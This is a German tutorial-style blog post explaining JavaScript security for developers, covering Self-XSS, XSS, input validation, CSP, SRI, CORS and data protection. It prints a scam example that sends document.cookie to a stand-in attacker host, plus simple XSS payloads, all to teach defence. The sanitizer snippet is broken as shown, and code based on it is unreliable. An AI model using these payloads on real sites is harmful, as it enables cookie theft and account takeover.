JavaScript Sicherheit
Ist JavaScript gefährlich? Was bedeutet die Warnung in der Console? Und wie schreibe ich sicheren Code?
Als ich die DevTools zum ersten Mal geöffnet habe, stand da eine riesige Warnung mit "STOP!" - ziemlich beängstigend. Aber was bedeutet das eigentlich? Und wann muss ich mir als Entwickler Sorgen machen? Hier dokumentiere ich, was ich über JavaScript-Sicherheit gelernt habe - ohne unnötige Panik, aber mit den wichtigen Facts.
Die Console-Warnung: Was ist Self-XSS?
Wenn du die Browser-Console öffnest (F12), siehst du oft eine Warnung wie diese:
"This is a browser feature intended for developers. If someone told you to copy and paste something here to enable a feature or hack someone's account, it is a scam and will give them access to your account."
Was ist das?
Das ist eine Warnung vor Self-XSS (Self Cross-Site Scripting). Dabei werden Leute durch Social Engineering dazu gebracht, selbst bösartigen Code in die Console einzugeben.
Wie funktioniert der Betrug?
//Beispiel eines Betrugs
// Jemand schickt dir: "Drücke F12 und füge das ein für gratis Features!"
document.cookie; // Könnte deine Cookies stehlen
// oder
fetch('https://boese-seite.com/steal', {
method: 'POST',
body: JSON.stringify({cookies: document.cookie})
});
Füge NIE Code in die Browser-Console ein, den dir jemand geschickt hat - egal wie vertrauenswürdig die Person scheint. Selbst wenn es von einem "Facebook-Freund" kommt oder "gratis Features" verspricht.
Betrifft mich das als Entwickler?
Diese Warnung ist für die Nutzer deiner Website, nicht für dich als Entwickler. Du kannst die Console weiterhin normal zum Debuggen verwenden. Die Warnung soll verhindern, dass unwissende User ausgetrickst werden.
Was kann JavaScript eigentlich?
Um zu verstehen, wo Gefahren lauern, müssen wir wissen, was JavaScript kann und was nicht:
Was JavaScript KANN:
- DOM manipulieren - Inhalte der aktuellen Seite ändern, hinzufügen, löschen
- Cookies lesen/schreiben - Session-Daten, Login-Tokens (wenn nicht httpOnly)
- LocalStorage/SessionStorage - Daten im Browser speichern und lesen
- HTTP-Requests senden - Daten an Server schicken (fetch, XMLHttpRequest)
- Events abfangen - Tastatureingaben, Klicks aufzeichnen
- Formulardaten lesen - Passwörter, Kreditkarten-Infos vor dem Absenden
- Redirects - Nutzer auf andere Seiten umleiten
- Browser-Infos auslesen - User Agent, Bildschirmgröße, etc.
Was JavaScript NICHT KANN:
- Auf deine Dateien zugreifen - Keine Zugriff auf dein Dateisystem (außer explizit hochgeladene Files)
- Andere Tabs/Fenster kontrollieren - Nur das eigene Fenster (Same-Origin Policy)
- Server-Code ausführen - Läuft nur im Browser, nicht auf dem Server
- Browser-Einstellungen ändern - Keine Kontrolle über Browser-Konfiguration
- Viren installieren - Kann keine Programme auf deinem Computer installieren
- Cross-Domain Cookies lesen - Nur Cookies der eigenen Domain
JavaScript läuft in einer "Sandbox" im Browser - es ist ziemlich eingeschränkt. Die Gefahr kommt meist durch falsche Verwendung oder Social Engineering, nicht durch JavaScript selbst.
XSS - Cross-Site Scripting
XSS ist die häufigste und gefährlichste Sicherheitslücke bei JavaScript. Dabei wird fremder Code auf deiner Website ausgeführt.
Wie funktioniert XSS?
Ein Angreifer schafft es, eigenen JavaScript-Code in deine Website einzuschleusen - meist über User-Input, der nicht richtig überprüft wird.
// GEFÄHRLICH!
let userComment = "<script>alert('Gehackt!')</script>";
document.getElementById("comments").innerHTML = userComment;
// Der Script-Tag wird ausgeführt!
Problem: Wenn ein User einen <script>-Tag
in den
Kommentar
schreibt, wird dieser ausgeführt! Der Angreifer könnte Cookies stehlen, Formulardaten
abfangen
oder die Seite manipulieren.
// SICHER!
let userComment = "<script>alert('Gehackt!')</script>";
document.getElementById("comments").textContent = userComment;
// Der Text wird angezeigt, aber NICHT als Code ausgeführt!
Lösung: textContent statt innerHTML verwenden! Der
Script-Tag wird als normaler Text angezeigt, nicht ausgeführt.
Arten von XSS
1. Stored XSS (Persistent) - Bösartiger Code wird in der Datenbank gespeichert (z.B. in Kommentaren) und allen Usern angezeigt.
2. Reflected XSS - Code wird in der URL übergeben und sofort ausgeführt
(z.B. seite.html?search=<script>...</script>)
3. DOM-based XSS - Code manipuliert direkt das DOM, ohne Server-Beteiligung.
innerHTML vs. textContent - Der Unterschied ist wichtig!
// Zeigt nur Text, kein Code!
element.textContent = userInput;
Wann verwenden: Immer bei User-Input! Code wird nicht ausgeführt.
// Führt HTML/JavaScript aus!
element.innerHTML = userInput;
Wann verwenden: Nur mit vertrauenswürdigen Daten, NIE mit User-Input!
Praktisches Beispiel
let userName = "<img src=x onerror='alert(\"XSS\")'>";
// FALSCH - führt das img-onerror aus
document.getElementById("greeting").innerHTML = "Hallo " + userName;
// RICHTIG - zeigt den Text, führt nichts aus
document.getElementById("greeting").textContent = "Hallo " + userName;
Wenn du User-Input anzeigst, verwende immer textContent oder
innerText.
innerHTML nur für deinen eigenen, kontrollierten
HTML-Code!
Input Validation - User-Eingaben überprüfen
Vertraue niemals blind auf User-Input - weder im Frontend noch im Backend!
Was sollte validiert werden?
- Datentyp - Ist es wirklich eine Zahl, E-Mail, URL?
- Länge - Nicht zu kurz, nicht zu lang?
- Format - Entspricht es dem erwarteten Muster?
- Erlaubte Zeichen - Keine Script-Tags, SQL-Befehle, etc.
Beispiel - E-Mail validieren
function istGueltigeEmail(email) {
// Einfache Regex für E-Mail-Format
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
// Länge prüfen
if (email.length > 254) return false;
// Format prüfen
return emailRegex.test(email);
}
// Verwendung
let userEmail = document.getElementById("email").value;
if (istGueltigeEmail(userEmail)) {
console.log("E-Mail ist gültig");
} else {
console.log("Ungültige E-Mail!");
}
Beispiel - HTML-Tags entfernen (Sanitization):
function entferneHTML(text) {
// Erstelle ein temporäres Element
let temp = document.createElement('div');
temp.textContent = text;
return temp.innerHTML;
}
// Oder einfacher:
function entferneHTML(text) {
return text
.replace(/</g, "<")
.replace(/>/g, ">");
}
// Verwendung
let userInput = "<script>alert('XSS')</script>";
let saubererText = entferneHTML(userInput);
console.log(saubererText); // "<script>alert('XSS')</script>"
Validation im Frontend ist nur für die User Experience! Die echte Sicherheitsprüfung muss auf dem Server passieren. Frontend-Code kann immer umgangen werden (DevTools, Postman, etc.).
Sichere vs. Unsichere Methoden
Eine Übersicht, welche JavaScript-Methoden sicher sind und welche Vorsicht erfordern:
textContent- Zeigt Text ohne HTML-AusführunginnerText- Ähnlich wie textContentsetAttribute()- Sicher für die meisten Attribute
classList.add/remove()- Klassennamen sind sichercreateElement()- Erstellt Elemente sicherconsole.log()- Debugging ist sicher
innerHTML- Nur mit vertrauenswürdigen Daten!outerHTML- Gleiche Gefahr wie innerHTMLdocument.write()- Veraltet und gefährlicheval()- Führt String als Code aus - NIEMALS mit User-Input!
setTimeout/setInterval mit Strings- Wie eval, vermeiden!new Function()- Ähnlich wie evalonclick-Attribute in HTML- Trennung von Struktur und Verhalten
// NIEMALS machen!
eval(userInput); // Führt beliebigen Code aus
new Function(userInput)(); // Gleiche Gefahr
setTimeout(userInput, 1000); // String wird als Code ausgeführt
element.innerHTML = "<img src='" + userInput + "'>"; // XSS möglich
Best Practices für sicheres JavaScript
Was ich bei der JavaScript-Entwicklung verinnerliche und beachte:
- Niemals User-Input vertrauen - Immer validieren, immer sanitizen
- textContent statt innerHTML - Bei User-generierten Inhalten
- CSP verwenden - Content Security Policy im HTTP-Header
- httpOnly Cookies - Session-Cookies sollten nicht von JavaScript lesbar sein
- HTTPS verwenden - Verschlüsselte Verbindung immer
- Bibliotheken aktuell halten - Alte Versionen haben oft Sicherheitslücken
- Passwörter niemals im Frontend speichern - Weder in Variables noch LocalStorage
- Sensitive Daten nicht loggen - Keine Passwörter in console.log()
- Event Listener statt Inline-Events - addEventListener() ist sicherer
- Same-Origin Policy beachten - CORS richtig konfigurieren
Content Security Policy (CSP)
CSP ist ein HTTP-Header, der definiert, welche Ressourcen deine Website laden darf. Das verhindert viele XSS-Angriffe.
Wie funktioniert CSP?
Der Server sendet einen Header mit Regeln, z.B.:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
Das bedeutet:
default-src 'self'- Alle Ressourcen nur von der eigenen Domainscript-src 'self' https://trusted.cdn.com- JavaScript nur von eigener Domain und diesem CDN
Wichtige CSP-Direktiven:
Content-Security-Policy:
default-src 'self'; /* Standard: nur eigene Domain */
script-src 'self' 'unsafe-inline'; /* JavaScript-Quellen */
style-src 'self' 'unsafe-inline'; /* CSS-Quellen */
img-src 'self' data: https:; /* Bild-Quellen */
font-src 'self' data:; /* Font-Quellen */
connect-src 'self'; /* fetch/XHR-Ziele */
frame-src 'none'; /* iframes verbieten */
Das erlaubt Inline-JavaScript/CSS und schwächt die Sicherheit.
Besser: Externe Dateien verwenden und 'unsafe-inline' weglassen.
Was bedeutet "inline" genau?
Das war mir am Anfang nicht ganz klar, hat es mit der *.js zu tun? Nein, genau das, was ich befürchtet hatte: "Inline" bedeutet, dass CSS oder JavaScript direkt im HTML-Dokument steht, statt in separaten Dateien.
Inline CSS - Drei Varianten
<!-- 1. Style-Tag im <head> - IST INLINE! -->
<style>
.meine-klasse {
color: red;
}
</style>
<!-- 2. Style-Attribut im Element - IST INLINE! -->
<p style="color: red;">Roter Text</p>
<!-- 3. Externe CSS-Datei - NICHT INLINE -->
<link rel="stylesheet" href="css/style.css">
Puh. Nicht "mal eben" zurechtschubsen, wenn dir hier und da ein Pixel fehlt. Schade drum! Aber okay. Es macht sich ja auch nicht so schick. Na gut, dann wohl Augen zu und durch.
Inline JavaScript - Drei Varianten
<!-- 1. Script-Tag im HTML - IST INLINE! -->
<script>
console.log('Hallo');
</script>
<!-- 2. Event-Attribute im Element - IST INLINE! -->
<button onclick="alert('Hallo')">Klick</button>
<!-- 3. Externe JS-Datei - NICHT INLINE -->
<script src="js/script.js"></script>
Was blockiert CSP ohne 'unsafe-inline'?
Wenn dein CSP-Header so aussieht:
Content-Security-Policy: style-src 'self'; script-src 'self';
...dann blockiert der Browser:
- Alle
<style>-Tags im HTML, auch im<head>! - Alle
style="..."Attribute - Alle
<script>-Tags im HTML - Alle
onclick="...",onerror="..."etc. Attribute
Erlaubt sind nur:
<link rel="stylesheet" href="css/style.css"><script src="js/script.js"></script>
Warum ist 'unsafe-inline' unsicher?
Wenn du 'unsafe-inline' erlaubst, kann auch ein Angreifer
inline-Code
einschleusen:
// CSP verbietet inline
// Angreifer versucht das gleiche:
element.innerHTML =
"<img src=x onerror='stealCookies()'>";
// → Browser blockiert onerror!
// CSP erlaubt 'unsafe-inline'
// Angreifer schleust ein:
element.innerHTML =
"<img src=x onerror='stealCookies()'>";
// → onerror läuft, weil inline erlaubt!
Was heißt das jetzt - keine inline Styles?
Meine Situation: Ich würde gerne in meinen Tutorials hier und da
<style>
im <head> für tutorial-spezifische Styles verwenden, AUCH
damit es im
Quellcode für jeden sofort sichtbar ist - ich teile ja gerne, was ich hier erarbeite. Das
ist
technisch "inline CSS".
Ist das ein Problem?
Bei mir: in den meisten Fällen nein. Aber beachte:
- Bei statischen Tutorials ohne User-Input: geringes Risiko
- Bei interaktiven Seiten mit User-Input: sollte ausgelagert werden
Best Practice für Production:
- Alle Styles in externe CSS-Dateien, z.B.
css/tutorial-demos.css - Alle Scripts in externe JS-Dateien
- CSP ohne
'unsafe-inline'konfigurieren - Niemals
onclick="..."oderstyle="..."Attribute verwenden - Immer
addEventListener()in externen JS-Dateien nutzen
Alternative mit Nonce: Wenn du aber wirklich inline-Code
brauchst,
kannst du
statt
'unsafe-inline' einen Nonce verwenden. Das ist ein einmaliger,
zufälliger Wert, der
vom Server generiert wird:
<!-- HTTP-Header -->
Content-Security-Policy: script-src 'nonce-abc123xyz'
<!-- HTML -->
<script nonce="abc123xyz">
// Nur dieser spezifische Script-Block wird erlaubt
console.log('Erlaubt!');
</script>
<script>
// Dieser wird blockiert (kein Nonce)
console.log('Blockiert!');
</script>
Das verhindert, dass Angreifer eigenen inline-Code einschleusen können, weil sie den zufälligen Nonce nicht kennen.
CSP kann am Anfang frustrierend sein, weil vieles nicht mehr funktioniert. Aber es ist eine der effektivsten Schutzmaßnahmen gegen XSS. Ich empfehle, CSP schon beim Projektstart zu aktivieren, nicht erst später. Ich halte mich jetzt strikt daran und räume meine Pixelschubser auf!
Subresource Integrity (SRI)
Wenn du externe Scripts von CDNs lädst, kann SRI sicherstellen, dass die Datei nicht manipuliert wurde:
<!-- Ohne SRI - unsicher -->
<script src="https://cdn.example.com/lib.js"></script>
<!-- Mit SRI - sicher -->
<script
src="https://cdn.example.com/lib.js"
integrity="sha384-abc123..."
crossorigin="anonymous">
</script>
Der Browser prüft den Hash der Datei. Wurde sie verändert, wird sie nicht ausgeführt.
Bei allen externen Scripts und Stylesheets von CDNs. Viele CDNs liefern den SRI-Hash direkt mit - einfach kopieren!
Same-Origin Policy und CORS
Browser blockieren standardmäßig Requests zu anderen Domains - das ist die Same-Origin Policy.
// Von meineseite.de zu api.andereseite.de
fetch('https://api.andereseite.de/data')
.then(res => res.json());
// → Wird blockiert, außer der Server erlaubt es via CORS
CORS (Cross-Origin Resource Sharing) ist die kontrollierte Ausnahme: Der Server kann bestimmte Domains erlauben.
CORS-Fehler bedeuten meist: Der Server muss konfiguriert werden, nicht dein JavaScript. Du kannst CORS nicht vom Frontend aus "umgehen" - das ist Absicht!
DSGVO und JavaScript
JavaScript und Datenschutz - was muss ich beachten?
Was speichert JavaScript?
- Cookies - Können personenbezogene Daten enthalten
- LocalStorage - Bleibt auch nach Browser-Schließung
- SessionStorage - Nur für die aktuelle Session
- IndexedDB - Große Datenmengen lokal speichern
DSGVO-konforme Verwendung
- Consent einholen - Bevor Cookies/Tracking gesetzt werden
- Notwendige vs. optionale Cookies trennen - Funktionale Cookies sind ok, Tracking braucht Zustimmung
- Cookie-Banner implementieren - Mit echter Wahl, nicht "Akzeptieren oder gehen"
- Daten minimieren - Nur speichern, was wirklich nötig ist
- Keine personenbezogenen Daten ohne Consent - IP-Adressen, User IDs, etc.
- Löschung ermöglichen - User müssen ihre Daten löschen können
Beispiel - Consent-Check
// Prüfe ob Consent gegeben wurde
function hatConsentFuerTracking() {
return localStorage.getItem('trackingConsent') === 'true';
}
// Nur Tracking laden, wenn erlaubt
if (hatConsentFuerTracking()) {
// Lade Analytics-Script
console.log("Tracking aktiv");
} else {
console.log("Kein Tracking ohne Consent");
}
DSGVO ist nicht nur ein lästiges Gesetz - es schützt die Privatsphäre der User. Als Entwickler habe ich die Verantwortung, Daten respektvoll zu behandeln. Und es ist auch technisch interessant, Privacy by Design zu implementieren!
Wann muss ich mir Sorgen machen?
Zusammengefasst: In welchen Situationen ist besondere Vorsicht geboten?
- Du verwendest User-Input ohne Validierung in innerHTML
- Du verwendest eval() mit externen Daten
- Du speicherst Passwörter/Tokens im Frontend
- Deine Website hat keine CSP
- Du verwendest veraltete Bibliotheken mit bekannten Lücken
- Du lädst externe Scripts von nicht vertrauenswürdigen Quellen
- Du verwendest innerHTML mit teilweise kontrollierten Daten
- Du hast keine HTTPS-Verbindung
- Du validierst nur im Frontend, nicht auf dem Server
- Deine Session-Cookies sind nicht httpOnly
- Du verwendest Inline-JavaScript (onclick="...")
- Du verwendest textContent für User-Input
- Du hast CSP aktiv
- Alle Eingaben werden validiert (Frontend UND Backend)
- Du verwendest HTTPS
- Du sanitizest HTML vor der Ausgabe
- Deine Dependencies sind aktuell
- Du lädst externe Ressourcen von vertrauenswürdigen CDNs
Checkliste für jedes Projekt
Was ich bei meinen JavaScript-Projekt durchgehe
- Verwende ich irgendwo
innerHTMLmit User-Input? → Ersetzen durchtextContent - Habe ich User-Input validiert (Frontend UND Backend)?
- Sind alle externen Scripts von vertrauenswürdigen Quellen?
- Habe ich CSP-Header konfiguriert?
- Läuft die Seite über HTTPS?
- Sind Session-Cookies auf httpOnly gesetzt?
- Werden sensitive Daten (Passwörter, Tokens) nur auf dem Server verarbeitet?
- Sind alle NPM-Pakete aktuell? (
npm audit) - Habe ich DSGVO-Consent für Cookies implementiert?
- Gibt es Inline-JavaScript, das ich in externe Dateien verschieben kann?
Fazit: Keine Panik, aber wachsam bleiben
Was ich gelernt habe:
JavaScript ist nicht von Natur aus gefährlich - die Gefahr entsteht durch falsche Verwendung. Die Console-Warnung ist nicht für mich als Entwickler, sondern für unwissende User.
Die wichtigsten Regeln sind simpel
- User-Input immer mit
textContentausgeben, nie mitinnerHTML - Input validieren - Frontend UND Backend
- Niemals
eval()mit User-Daten verwenden
- CSP aktivieren
- HTTPS verwenden
- Dependencies aktuell halten
Das klingt nach viel, aber wenn man von Anfang an diese Prinzipien befolgt, wird es zur Gewohnheit. Und dann kann man JavaScript sicher und produktiv einsetzen - ohne DevPanic!
Mehr aus JavaScript
Tutorials werden geladen...